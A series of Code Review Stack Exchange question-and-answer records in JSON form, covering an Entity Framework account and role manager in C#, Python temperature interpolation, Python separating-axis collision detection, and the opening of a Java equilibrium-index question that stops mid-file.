return status;
}
}
public static bool IsUserCached(string username)
{
using (var ctx = new AccountsDbCtx())
{
var result = true;
var foundAcc = ctx.Accounts.Where(x => x.Username == username);
if (!foundAcc.Any())
{
result = false;
}
return result;
}
}
public static bool CacheUser(string username)
{
using (var ctx = new AccountsDbCtx())
{
var status = false;
try
{
var newAcc = new Account
{
Active = true,
Username = username,
};
ctx.Accounts.Add(newAcc);
ctx.SaveChanges();
AssignRole(newAcc.Username, Role.User);
status = true;
}
catch
{ }
return status;
}
}
public static bool AssignRoleComment(string username)
{
return AssignRole(username, Role.Comment);
}
public static bool AssignRoleCommentControl(string username)
{
return AssignRole(username, Role.CommentControl);
}
public static bool AssignRoleSysAdmin(string username)
{
return AssignRole(username, Role.Sysadmin);
}
private static bool AssignRole(string accountName, Role role)
{
using (var ctx = new AccountsDbCtx())
{
var completed = false;
var roleToAssign = ctx.Roles.SingleOrDefault(x => x.Role1 == (int)role);
try
{
var currentAccount = ctx.Accounts.SingleOrDefault(x => x.Username.Contains(accountName));
if (currentAccount != null && roleToAssign != null) currentAccount.Roles.Add(roleToAssign);
ctx.SaveChanges();
completed = true;
}
catch
{}
return completed;
}
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T02:52:49.947",
"Id": "82538",
"Score": "0",
"body": "If you're using .NET 4.5, then there are new ASync methods for all of your query methods, which will allow you to multi-thread calls to the database."
}
] | [
{
"body": "<p>umm yes, you could do it that way.</p>\n\n<blockquote>\n <p>as far as I understood that EF context is not thread-safe so I'm\n instantiating one with every call through the using statement</p>\n</blockquote>\n\n<p>Where did you read this? I'm not denying it it's just that I have not read this before and I haven't experienced too many problems with using EF in the case of one instance per request.</p>\n\n<blockquote>\n <p>My second question, is the use of Boolean variable ok to signal\n failure in db transactions</p>\n</blockquote>\n\n<p>Maybe. But how are you going to know what actually went wrong? All that's going to happen is you know something went wrong but when it comes to diagnosing it you will be at a dead end because you have swallowed the exception (so to speak). Given that your exceptions seeming to be handling cases such as the database offline, or connection issues I think it would be best to bubble those up as that would be a core system fault and you would want to know more info.</p>\n\n<p>Here's an alternative solution using a non-static class and sharing the Database context between methods.</p>\n\n<blockquote>\n <p>NOTE: I would actually consider removing the default empty\n constructor and IDisposable if you were using an IOC framework to\n instantiate the context as that would be responsible for your instance\n lifetime. However I'm not sure how your Account Manager would be created.</p>\n</blockquote>\n\n<pre><code>public class AccountManager : IDisposable\n{\n private enum Role { User, Comment, CommentControl, Sysadmin }\n private readonly AccountsDbCtx dbContext;\n\n public AccountManager(AccountsDbCtx dbContext)\n {\n this.dbContext = dbContext;\n }\n\n public AccountManager() : this(new AccountsDbCtx())\n {\n }\n\n public void Dispose() \n {\n dbContext.Dispose();\n {\n\n public bool IsUserInRole(string username, string role)\n {\n var account = dbContext.Accounts.SingleOrDefault(x => x.Username == username);\n\n if(account == null)\n {\n return false;\n }\n\n var existingRole = account.Roles.Where(x => x.Name.Equals(role, StringComparison.InvariantCultureIgnoreCase));\n\n return existingRole.Any(); \n }\n\n public bool IsUserCached(string username)\n {\n return dbContext.Accounts.Any(x => x.Username == username); \n }\n\n public void CacheUser(string username)\n {\n dbContext.Accounts.Add(new Account\n {\n Active = true,\n Username = username\n });\n\n dbContext.Accounts.Add(newAcc);\n dbContext.SaveChanges();\n\n AssignRoleUser(username); \n }\n\n public bool AssignRoleUser(string username)\n {\n return AssignRole(username, Role.User);\n }\n\n public bool AssignRoleComment(string username)\n {\n return AssignRole(username, Role.Comment);\n }\n\n public bool AssignRoleCommentControl(string username)\n {\n return AssignRole(username, Role.CommentControl);\n }\n\n public bool AssignRoleSysAdmin(string username)\n {\n return AssignRole(username, Role.Sysadmin);\n }\n\n private bool AssignRole(string accountName, Role role)\n {\n // Why would a role not exist in our database?\n var roleToAssign = dbContext.Roles.Single(x => x.Role1 == (int)role); \n var currentAccount = dbContext.Accounts.SingleOrDefault(x => x.Username.Contains(accountName));\n\n if (currentAccount == null)\n return false;\n\n currentAccount.Roles.Add(roleToAssign);\n dbContext.SaveChanges();\n\n return IsUserInRole(accountName, role); \n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:21:45.293",
"Id": "82517",
"Score": "0",
"body": "Great points sir, thanks a lot for your help."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:34:10.523",
"Id": "82522",
"Score": "0",
"body": "about the pre-fetch of the role object, I have the following schema `[Account]1--m[AccountRole]m--1[Role]` . EF did not simply allow me to create my role object and submit it with the account object or that's at least what happened when I tried it, the record simply does not get inserted. I had to pre-fetch my role before hand."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:53:30.783",
"Id": "82525",
"Score": "0",
"body": "@Meldar Sorry I don't quite understand what you mean? Is something I suggested not working (Which could very well be the case)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:54:45.933",
"Id": "82526",
"Score": "0",
"body": "@Meldar oh, and just for your reference. If you let the question sit un-accepted for a few days you are more likely to get a few other people commenting who might also have great ideas, thoughts or even better comments. Might help you out even more...."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:58:03.690",
"Id": "82527",
"Score": "0",
"body": "I guess I didnt succeed in saying what I wanted to say, the code you provided is quite good compared to what I was using and will serve the purpose well. I was just answering your comment inside the code you provided about why I'm fetching the role object from the db that's all :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T00:00:10.667",
"Id": "82528",
"Score": "1",
"body": "@Meldar oh, yes My comment was around did we need to use SingleOrDefault. Cause if the role is always going to exist using Single would be clearer in that we expect it to always be there. Sorry if I wasn't clear in my query."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T00:07:42.153",
"Id": "82529",
"Score": "0",
"body": "I see your point now."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:59:59.577",
"Id": "47109",
"ParentId": "47104",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "47109",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:20:47.110",
"Id": "47104",
"Score": "4",
"Tags": [
"c#",
"asp.net",
"entity-framework",
"asp.net-mvc-3",
"authentication"
],
"Title": "Using static management class to control db transactions through an EF6"
} | 47104 |
<p>I want to interpolate temperature in correlation with height. I have temperature data from stations with coordinates and height in this format:</p>
<pre><code>Lat Lon Temp Height
46.2956 16.3978 10.71196 120
45.9776 16.0159 11.78539 150
45.8521 15.9598 11.18838 133
etc.
</code></pre>
<p>After reading the data there are 4 arrays (<code>y</code>, <code>x</code>, <code>temp</code>, and <code>height</code>) and variable <code>z</code> which represents correlation between temperature and height, e.g., <code>z = -0.005</code> which means that for each meter of height temperature decreases for 0.005 °C.</p>
<p>Z is calculated like this: <code>z = np.polyfit(height, temp, 1,2)</code></p>
<p>After that I can calculate temperature on 0 meters for each station:</p>
<pre><code>for i in range(len(temp)):
temp0m.append((temp[i])-(height[i]*z))
</code></pre>
<p>I also have data with heights in meters with resolution of 0.003333333333 degrees and I want to use these heights and interpolated temperature to create map.</p>
<p>Heights are in <code>"dem_final2.txt"</code> (ncolums = 2700, nrows = 1560)</p>
<pre><code>1653 1571 1493 1429 1354...
1730 1699 1620 1528 1399...
</code></pre>
<p>So this is what I've done so far, everything is working but it's very slow:</p>
<pre class="lang-py prettyprint-override"><code>if __name__ == '__main__':
nx, ny = 1080,624
chunkSize = 10
t = []
grid2 = []
xEast = 12
ySouth = 42
xWest = 21
yNorth = 47.2
res = 0.003333333333
x,y,temp0m,z = downloadData()
xi = np.linspace(xEast+0.1, xWest-0.1, nx)
yi = np.linspace(ySouth+0.1, yNorth-0.1, ny)
xi, yi = np.meshgrid(xi, yi)
xi, yi = xi.flatten(), yi.flatten()
l = len(xi)/chunkSize
for i in range(chunkSize):
interp = rbfInterp(x,y,temp0m,xi[(l*i):(l*(i+1))],yi[(l*i):(l*(i+1))])
grid2 = grid2 + list(interpData(xi[(l*i):(l*(i+1))],yi[(l*i):(l*(i+1))],z,interp,xEast,ySouth,xWest,yNorth,res))[(l*i):(l*(i+1))]
grid2 = np.array(grid2, np.float)
grid2 = grid2.reshape((ny, nx))
plot (x,y,temp0m,grid2) #plotting to png with matplotlib
def rbfInterp(x, y, temp0m,xi,yi):
interp = Rbf(x, y, temp0m, function='linear')
return interp(xi,yi)
def interpData(xi,yi,z,interp,xEast,ySouth,xWest,yNorth,res):
append = t.append
row= -1
for i in xrange(len(xi)):
tmp = int(round((yi[i]-ySouth)/res,0))
tmp1 = int(round((xi[i]-xEast)/res,0)+1)
if (row!=tmp):
tmp2 = linecache.getline('dem_final2.txt', tmp).split(' ')
if (float(tmp2[tmp1])>-10):
append ((float(tmp2[tmp1]))*z+float(interp[i]))
else:
append (None)
row = tmp
return t
</code></pre>
<p>I divided into chunks because a lot of memory was used without them and I think this can be used to speed up things maybe with more processes or something like that but I don't have knowledge to do that without any help. Of course, any other help is also welcome.</p>
<p>Btw this script runs for about 25-30 sec</p>
| [] | [
{
"body": "<p>The problems start with this code being fairly unreadable. A few simple rules can help:</p>\n\n<ul>\n<li><p>Every comma is followed by a space: <code>xi, yi</code> instead of <code>xi,yi</code>.</p></li>\n<li><p>Every binary operator like <code>+</code> is surrounded by a space on each side: </p>\n\n<pre><code>int(round((xi[i] - xEast) / res, 0) + 1)\n</code></pre>\n\n<p>instead of <code>int(round((xi[i]-xEast)/res,0)+1)</code>.</p></li>\n<li><p>If an expression becomes to complicated, assign intermediate values to variables which also assist in explaining the code to a reader:</p>\n\n<pre><code>start = l * i\nend = l * (i + 1)\nchunk_x = xi[start:end]\nchunk_y = yi[start:end]\ninterp = rbfInterp(x, y, temp0m, chunk_x, chunk_y)\nresult = interpData(chunk_x, chunk_y, z, interp, xEast, ySouth, xWest, yNorth, res)\ngrid2 += list(result)[start:end]\n</code></pre>\n\n<p>instead of</p>\n\n<pre><code>interp = rbfInterp(x,y,temp0m,xi[(l*i):(l*(i+1))],yi[(l*i):(l*(i+1))])\ngrid2 = grid2 + list(interpData(xi[(l*i):(l*(i+1))],yi[(l*i):(l*(i+1))],z,interp,xEast,ySouth,xWest,yNorth,res))[(l*i):(l*(i+1))]\n</code></pre></li>\n<li><p>At least try to provide meaningful names for your variables. Expressions like <code>tmp2[tmp1]</code> are unacceptable.</p></li>\n<li><p>Avoid overly clever things like <code>append = t.append; …; append(…)</code>, as you gain nothing by this indirection. <code>t.append(…)</code> directly.</p></li>\n<li><p>In a function call, never put a space between the function name and the parens.</p>\n\n<ul>\n<li><code>plot(x, y, temp0m, grid2)</code> instead of <code>plot (x,y,temp0m,grid2)</code></li>\n<li><code>append(None)</code> instead of <code>append (None)</code></li>\n</ul></li>\n<li><p>Most of Python is using the convention that variable names should use <code>snake_case</code> not <code>camelCase</code>. While consistency is more important than following any specific style, I suggest you adopt this common style.</p></li>\n<li><p>Some variable names like <code>chunkSize</code> are misleading – this is the number of chunks, not their size.</p></li>\n</ul>\n\n<p>Once we have cleaned up the code, we can investigate where performance could be increased. This is done mostly by avoiding unnecessary recalculations, but also by finding more efficient expressions.</p>\n\n<p>For example, <code>Rbf(x, y, temp0m, function='linear')</code> will always produce the same value as the parameters never change. Therefore, calculate it once outside of any loops. Actually, you can remove the whole <code>rbfInterp</code> function.</p>\n\n<p>Inside <code>interpData</code>, you translate and rescale the data: <code>(yi[i]-ySouth)/res</code>. If you do this outside of an explicit loop, then numpy can do this more efficiently: <code>translated_yi = (yi - ySouth)/res</code>.</p>\n\n<p>The whole <code>meshgrid</code> business is obfuscating which calculation you are actually performing:</p>\n\n<pre><code># prepare an interpolation function for this data\ninterpolation_function = Rbf(x, y, temp0m, function='linear')\n\n# the actual coordinates\nyis = np.linspace(ySouth + 0.1, yNorth - 0.1, ny)\nxis = np.linspace(xEast + 0.1, xWest - 0.1, nx)\n\n# the grid positions in the data file\nyis_normalized = ((yis - ySouth)/res).round(0).astype(np.int)\nxis_normalized = ((xis - xEast)/res + 1).round(0).astype(np.int)\n\ngrid = np.zeros((ny, nx))\nfor i in range(ny):\n heights = linecache.getline('dem_final2.txt', yis_normalized[i]).split(' ')\n for j in range(nx):\n height = float(height[xis_normalized[j]])\n result = height * z + interpolation_function(xis[j], yis[i])\n grid[i][j] = result if data_item > -10 else np.nan\n</code></pre>\n\n<p>Some important points:</p>\n\n<ul>\n<li>We fetch and parse each line once per line, instead of once per grid column.</li>\n<li>We factor out repeated calculations outside of the loops</li>\n<li>We avoid any confusing reshaping by writing the results directly into the correct data structure.</li>\n<li>We try to avoid explicit loops by using numpy transformations</li>\n</ul>\n\n<p>The purpose of the code is now much more obvious.</p>\n\n<p>However, the usage of <code>linecache</code> is quite suspicious. We read the lines in sequential order, so caching will be of no use → read the file manually. You should also consider reading it into a numpy array, as the file in this form should only be using a few MB of memory:</p>\n\n<pre><code>heights = np.loadtxt('dem_final2.txt')\n...\nresult = heights[yis_normalized[i]][xis_normalized[j]] * z + ...\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T14:46:29.547",
"Id": "47148",
"ParentId": "47110",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": "47148",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:24:12.900",
"Id": "47110",
"Score": "13",
"Tags": [
"python",
"performance",
"mathematics",
"numpy",
"geospatial"
],
"Title": "Temperature Interpolation"
} | 47110 |
<p>A project I was working on required the usage of the Separating Axis Theorem to detect collisions between two convex polygons in real time. So I implemented a basic class (<code>ConvexFrame</code> in the code) to keep track of the information about the polygon that is necessary for the SAT algorithm. I implemented it, and it works, but it is unfortunately quite slow for the project I'm working on (which is a game by the way).</p>
<p>For example, testing for a collision between an 8-sided shape and a 3-sided shape takes on average 0.00015 seconds of computation time, which means that in a normal game tick (1/60s = 0.016...s) I can calculate a maximum of 100 collisions between convex polygons. I need it to be faster than this, and I'm not sure how I can optimize it. Can someone help me understand where I can optimize the code?</p>
<p>The code is split up into 2 main files: geometry.py (imported as <code>geo</code> in the other file), and physical.py. geometry.py contains basic functions for vector calculations and the likes, where physical.py contains the SAT algorithm and the <code>ConvexFrame</code> class. I made sure that most of the functions in the geometry file were as optimized as I could get them to be, so that shouldn't be the problem, but just incase I included the average runtime of each of the functions in <code>geo</code>.</p>
<p><strong>geometry.py:</strong></p>
<pre><code>import math
import maths # maths is an even simpler file containing constants and other basic functions
# there is no need to include it here.
def centroid(*points):
"""Calculate the centroid from a set of points."""
# Average time for 4 points: 1.4572602962591971e-06s
x, y = zip(*points)
_len = len(x)
return [sum(x)/_len, sum(y)/_len]
def icentroid(*points):
"""Faster than normal centroid, but returns an iterator.
Since this returns an iterator, to separate it up into an
(x, y) tuple, simply say:
>>> x, y = icentroid(*points)
"""
# Average time for 4 points: 9.622882809023352e-07s
_len = len(points)
return map(lambda coords: sum(coords)/_len,
zip(*points))
def to_the_left(v1, v2, v3):
"""Check if `v3` is to the left of the line between v1 and v2."""
# Average time: 3.958449703405762e-07s
vx, vy = v3
x1, y1 = v1
x2, y2 = v2
# Calculate the cross-product...
res = (x2 - x1)*(vy - y2) - (y2 - y1)*(vx - x2)
return res > 0
def rotate_vector(v, angle, anchor):
"""Rotate a vector `v` by the given angle, relative to the anchor point."""
# Average time: 1.5980422712460723e-06s
x, y = v
x = x - anchor[0]
y = y - anchor[1]
# Here is a compiler optimization; inplace operators are slower than
# non-inplace operators like above. This function gets used a lot, so
# performance is critical.
cos_theta = math.cos(angle)
sin_theta = math.sin(angle)
nx = x*cos_theta - y*sin_theta
ny = x*sin_theta + y*cos_theta
nx = nx + anchor[0]
ny = ny + anchor[1]
return [nx, ny]
def distance(v1, v2):
"""Calculate the distance between two points."""
# Average time: 5.752867448971415e-07s
x1, y1 = v1
x2, y2 = v2
deltax = x2 - x1
deltay = y2 - y1
return math.sqrt(deltax * deltax + deltay * deltay)
def distance_sqrd(v1, v2):
"""Calculate the squared distance between two points."""
# Average time: 3.5745887637150984e-07s
x1, y1 = v1
x2, y2 = v2
deltax = x2 - x1
deltay = y2 - y1
return deltax * deltax + deltay * deltay
def project(vector, start, end):
"""Project a vector onto a line defined by a start and an end point."""
# Average time: 1.1918602889221005e-06s
vx, vy = vector
x1, y1 = start
x2, y2 = end
if x1 == x2:
return x1, vy
deltax = x2 - x1
deltay = y2 - y1
m1 = deltay/deltax
m2 = -deltax/deltay
b1 = y1 - m1*x1
b2 = vy - m2*vx
px = (b2 - b1)/(m1 - m2)
py = m2*px + b2
return px, py
def normalize(vector):
"""Normalize a given vector."""
# Average time: 9.633639630529273e-07s
x, y = vector
magnitude = 1/math.sqrt(x*x + y*y)
return magnitude*x, magnitude*y
def perpendicular(vector):
"""Return the perpendicular vector."""
# Average time: 2.1031882874416398e-07s
x, y = vector
return y, -x
def dot_product(v1, v2):
"""Calculate the dot product of two vectors."""
# Average time: 2.617608074634745e-07s
x1, y1 = v1
x2, y2 = v2
return x1*x2 + y1*y2
</code></pre>
<p><strong>physical.py:</strong></p>
<pre><code>import geometry as geo
import operator
class ConvexFrame(object):
def __init__(self, *coordinates, origin=None):
self.__original_coords = coordinates
self._origin = origin
self._offsets = []
if not self._origin:
self._origin = geo.centroid(*coordinates)
orx, ory = self._origin
append_to_offsets = self._offsets.append
for vertex in coordinates:
x, y = vertex
offx = x - orx
offy = y - ory
append_to_offsets([offx, offy])
offsets = self._offsets
left = geo.to_the_left
n = len(offsets)
self.__len = n
for i in range(n):
v0 = offsets[i-1]
v1 = offsets[i]
v2 = offsets[(i+1)%n]
if not left(v0, v1, v2):
raise ValueError()
def bounding_box(self, offset=False):
offs = self._offsets
_max, _min = max, min
maxx, maxy = _max(a[0] for a in offs), _max(a[1] for a in offs)
minx, miny = _min(a[0] for a in offs), _min(a[1] for a in offs)
# As far as I can tell, there seems to be no other
# way around calling max and min twice each.
w = maxx - minx
h = maxy - miny
if not offset:
orx, ory = self._origin
return minx + orx, miny + ory, w, h
return minx, miny, w, h
def get_xoffset(self, index):
"""Retrieve the x-offset at the given index."""
return self._offsets[index][0]
def get_yoffset(self, index):
"""Retrieve the y-offset at the given index."""
return self._offsets[index][1]
def get_offset(self, index):
"""Retrieve the offset at the given index."""
return self._offsets[index]
def get_xcoord(self, index):
"""Return the x-coordinate at the given index."""
return self._offsets[index][0] + self._origin[0]
def get_ycoord(self, index):
"""Retrieve the y-coordinate at the given index."""
return self._offsets[index][1] + self._origin[1]
def get_coord(self, index):
"""Retrieve the coordinate at the given index."""
orx, ory = self._origin
x, y = self._offsets[index][0]
return x + orx, y + ory
def translate(self, x, y=None):
if y is None:
x, y = x
origin = self._origin
nx = origin[0] + x
ny = origin[1] + y
self._origin = (nx, ny)
def rotate(self, angle, anchor=(0, 0)):
# Avg runtime for 4 vertices: 6.96e-06s
orx, ory = self._origin
x, y = anchor
if x or y:
# Default values of x and y (0, 0) indicate
# for the method to use the frame origin as
# the anchor.
x = x - orx
y = y - ory
anchor = x, y
_rot = geo.rotate_vector
self._offsets = [_rot(v, angle, anchor) for v in self._offsets]
def collide(self, other):
edges = self._edges + other._edges
# The edges to test against for an axis of separation
_norm = geo.normalize
_perp = geo.perpendicular
# I store all the functions I need in local variables so
# python doesn't have to keep re-evaluating their positions
# in the for loop.
self_coords = self.coordinates
other_coords = other.coordinates
project_self = self._project
project_other = other._project
projections = [] # A list of projections in case there is a collision.
# We can use the projections to find the minimum translation vector.
append_projection = projections.append
for edge in edges:
edge = _norm(edge)
# Calculate the axis to project the shapes onto
axis = _perp(edge)
# Project the shapes onto the axis
self_projection = project_self(axis, self_coords)
other_projection = project_other(axis, other_coords)
if not (self_projection[1] > other_projection[0] and \
self_projection[0] < other_projection[1] ): # Intersection test
# Break early if an axis has been found.
return False
overlap = self_projection[1] - other_projection[0]
append_projection((
axis[0] * overlap,
axis[1] * overlap
)) # Append the projection to the list of projections if it occurs
return projections
def _project(self, axis, coords):
_dot = geo.dot_product
projections = [_dot(v, axis) for v in coords]
return min(projections), max(projections)
@property
def _edges(self):
"""Helper property for SAT (separating axis theorem) implementation."""
edges = []
n = self.__len
offsets = self._offsets
for i in range(n):
x0, y0 = offsets[i-1]
x1, y1 = offsets[i]
edges.append((x0 - x1, y0 - y1))
return edges
@property
def coordinates(self):
coords = []
offsets = self._offsets
orx, ory = self._origin
for v in offsets:
vx, vy = v
coords.append([vx + orx, vy + ory])
return coords
@property
def offsets(self):
return self._offsets
@property
def origin(self):
return self._origin
</code></pre>
<p>The amount of vertices in each polygon is usually no greater than 10, meaning anything involving NumPy would actually be <em>slower</em> than the pure Python implementation.</p>
<p>I just found an optimization: I call <code>self.project</code> and <code>other.project</code> for each time in the loop, and in <code>ConvexFrame.project</code> I call <code>ConvexFrame.coordinates</code>, however the coordinates never change in the loop, thus I am wasting time recalculating the coordinates for each iteration of the loop. Fixing the code by making <code>ConvexFrame.project</code> take a <code>coordinates</code> parameter and sending in the precalculated coordinates shaves down the time to <code>8.776420134906875e-05s</code> (for the same setup as in the first paragraph, an octagon vs a triangle), but I'd still like to see if it can get any faster.</p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:07:10.467",
"Id": "82600",
"Score": "2",
"body": "Rather than look for ways to optimise, I would recommend profiling your code, for example with [cProfile](https://docs.python.org/3.4/library/profile.html#module-cProfile), to see clearly which part of your code is taking up the most time. This will save you spending time optimising parts which will not make much difference. I can't take this approach myself as you have not included the maths module, which is not part of the standard library."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-06-08T05:38:12.403",
"Id": "92469",
"Score": "0",
"body": "You could [add a few annotations](http://docs.cython.org/src/quickstart/cythonize.html) and use [Cython](http://www.cython.org/). I'd imagine that would speed your code up quite a bit."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-10-17T16:53:54.463",
"Id": "122181",
"Score": "0",
"body": "What you could do is precompute some math value or use some caching techniques to avoid compute several times the same value for cos, sin, sqrt."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-01-24T05:25:02.543",
"Id": "142174",
"Score": "0",
"body": "check this: https://wiki.python.org/moin/PythonSpeed/PerformanceTips Try every bit of trick in there and you are sure to speed up your code. But as @trichoplax said, first you need to profile your code, find the bottlenecks and work there. Do not guess where the code is having a hard time, people are not good at guessing that kind of stuff."
}
] | [
{
"body": "<h3>1. Vectors</h3>\n\n<p>Much of this code is awkward and long-winded because points and vectors are represented by plain Python tuples. A simple operation like subtracting two points requires disassembling the points into their elements, subtracting the elements, and then reassembling the result. If the code represented points using some kind of vector data structure, then a lot of it could be simplified.</p>\n\n<p>For example, here are eight lines of code for computing the offset of each vertex from the origin:</p>\n\n<pre><code>self._offsets = []\norx, ory = self._origin\nappend_to_offsets = self._offsets.append\nfor vertex in coordinates:\n x, y = vertex\n offx = x - orx\n offy = y - ory\n append_to_offsets([offx, offy])\n</code></pre>\n\n<p>but with a class of vectors that supported subtraction, this would be one line:</p>\n\n<pre><code>self._offsets = [v - self._origin for v in coordinates]\n</code></pre>\n\n<p>If you have NumPy to hand, then it would make sense to use <a href=\"http://docs.scipy.org/doc/numpy/reference/arrays.html\">NumPy arrays</a> as your vectors, but if not then it's easy to write such a class. For example, you might start with something simple like this:</p>\n\n<pre><code>class Vector(tuple):\n def __add__(self, other):\n return Vector(v + w for v, w in zip(self, other))\n\n def __sub__(self, other):\n return Vector(v - w for v, w in zip(self, other))\n\n def __mul__(self, s):\n return Vector(v * s for v in self)\n\n def __abs__(self):\n return sqrt(sum(v * v for v in self))\n\n def dot(self, other):\n \"\"\"Return the dot product with the other vector.\"\"\"\n return sum(v * w for v, w in zip(self, other))\n</code></pre>\n\n<p>(See my <a href=\"https://github.com/gareth-rees/geometry/blob/master/vector.py\"><code>vector.py</code></a> for a full-featured implementation.)</p>\n\n<p>With this class, many of your geometry functions could be simplified. For example, to calculate the distance from <code>v1</code> to <code>v2</code> you currently have:</p>\n\n<pre><code>x1, y1 = v1\nx2, y2 = v2\ndeltax = x2 - x1\ndeltay = y2 - y1\nreturn math.sqrt(deltax * deltax + deltay * deltay)\n</code></pre>\n\n<p>but using the <code>Vector</code> class given above, this becomes so trivial that it might not be worth defining a function for it:</p>\n\n<pre><code>return abs(v1 - v2)\n</code></pre>\n\n<p>This approach won't speed up your code (the same operations are being carried out) but it will make it shorter, clearer, and easier to work with, and that will help you when you do come to make performance improvements.</p>\n\n<h3>2. Projection</h3>\n\n<p>The algorithm in <code>project</code> has a bug: there's a division by zero error if <code>start</code> and <code>end</code> have the same y-coordinate:</p>\n\n<pre><code>>>> project((1, 2), (0, 0), (2, 0)) # expecting (1, 0)\nTraceback (most recent call last):\n m2 = -deltax/deltay\nZeroDivisionError: division by zero\n</code></pre>\n\n<p>In computer geometry you should <em>always use vectors</em> if possible: trying to work with the slope-and-intercept representation of lines leads into difficulty because of the exceptional cases.</p>\n\n<p>The reliable way to project <code>v</code> onto the line from <code>start</code> to <code>end</code> is to use the dot product, like this:</p>\n\n<pre><code>w = end - start\nreturn w * (w.dot(v) / w.dot(w))\n</code></pre>\n\n<p>This still has the possibility of division by zero, but only in the case where <code>w</code> is zero (that is, if <code>start == end</code>) and in that case no projection is possible.</p>\n\n<h3>3. Performance</h3>\n\n<ol>\n<li><p>Pure Python is always going to be a bit slow for this kind of problem, so you should look into using NumPy to speed up the calculations in <code>collide</code>. In this function you carry out a computation for each edge of each figure: this would be easy to vectorize so that all computations are carried out at once.</p></li>\n<li><p>Because the collision test is so expensive, it's worth taking some trouble to avoid it. In particular, it would be worth storing a <em>bounding circle</em> with origin \\$ o \\$ and radius \\$ r \\$ for each polygon: namely, the smallest circle that contains all points in the polygon. Then, before doing the full polygon/polygon collide test, do a circle/circle test: if two polygons have bounding circles \\$ (o_1, r_1) \\$ and \\$ (o_2, r_2) \\$ then they can only collide if \\$ \\left| o_1 - o_ 2 \\right| ≤ r_1 + r_2 \\$. This should allow you to reject most collisions cheaply.</p></li>\n<li><p>Consider storing your polygons in a space-partitioning data structure such as a <a href=\"https://en.wikipedia.org/wiki/Quadtree\">quadtree</a> that would let you efficiently find pairs of polygons that might collide. SciPy has an implementation in <a href=\"http://docs.scipy.org/doc/scipy-0.15.1/reference/generated/scipy.spatial.KDTree.html\"><code>scipy.spatial.KDTree</code></a>.</p></li>\n<li><p>It's likely that you are going to be repeatedly testing the same set of polygons for collision (for example, in a video game you'd be doing this each frame). In that case, when you find that two polygons are separated by a particular axis, <em>remember that axis</em> and test it first next time. The insight is that a pair of polygons don't move very far in one time step, and so an axis that separates them at time \\$ t \\$ will continue to separate them at time \\$ t + δ \\$. This is the method of \"caching witnesses\" — see Rabbitz, \"<a href=\"https://books.google.co.uk/books?hl=en&id=CCqzMm_-WucC&pg=PA83\">Fast Collision Detection of Moving Convex Polyhedra</a>\" in <em>Graphics Gems IV</em>.</p></li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-04-28T09:30:51.020",
"Id": "88216",
"ParentId": "47111",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:43:30.823",
"Id": "47111",
"Score": "7",
"Tags": [
"python",
"performance",
"python-3.x",
"computational-geometry",
"collision"
],
"Title": "Implementation of SAT (Separating axis theorem)"
} | 47111 |
<p>This finds the equilibrium. For <code>sum/mult</code> an equilibrium is defined as the <code>index i</code> at which sum/mult of all elements at <code>index < i</code> is same as sum/mult of all elements of at <code>index > j</code> respectively. Edge cases are documented clearly in JavaDocs.</p>
<p>Note: I do understand merits of unit testing in separate files. But deliberately added it to main method for personal convenience, so I request that you don't consider that in your feedback.</p>
<p>I'm looking for request code review, optimizations and best practices.</p>
<pre><code>public final class EquilibriumIndex {
private EquilibriumIndex() {}
/**
* Returns index, if equilibrium is found, else returns 0.
* If multiple equilibrium exists then, the first equilibrium is returned.
* Note: end of array is also treated as an equilibrium.
*
* Eg - 1:
* [-7, 8, -2, 8, -7, 0]
* has 2 equilibrium
* a[2] = -2;
* a[5] = 0;
* in such case position 2 is returned
*
* Eg -2:
* [0, -7, 8, -2, 8, -7]
* has 2 equilibrium
* a[0] = 0;
* a[3] = -2;
* in such case position 0 is returned
*
* @param a the int array
* @returns the index if found, else returns -1.
*/
public static int getSumEquilibrium(int[] a) {
int sum = 0; // the sum of all contents
int leftSum = 0; // the sum which starts from the left side.
for (int i : a) {
sum += i;
}
for (int i = 0; i < a.length; i++) {
sum -= a[i];
if (sum == leftSum) {
return i;
}
leftSum += a[i];
}
return -1;
}
private static int processZero (int[] a, int i) {
// if index i is the first element of the array.
if (i == 0) {
for (int j = i + 1; j < a.length; j++) {
// eg: [0, 1, 2, 0, 5], equilibrium is the first element.
if (a[j] == 0) {
return 0;
}
}
//eg: [0, 1, 2, 3], equilibrium is the last element.
return a.length - 1;
} else {
// if 0 is not the first element of the array then the first element of array is smallest equilibrium
// eg: [0, 1, 2, 3]
return 0;
}
}
/**
* Returns index, if equilibrium is found, else returns 0.
* If multiple equilibrium exists then, the first equilibrium is returned.
* Note: end of array is also treated as an equilibrium.
*
* Eg - 1:
* [0, 8, -2, 0]
* has 2 equilibrium
* a[0] = 0;
* a[1] = 8;
* a[2] = -2;
* in such case position 0 is returned
*
* @param a the int array
* @returns the index if found, else returns -1.
*/
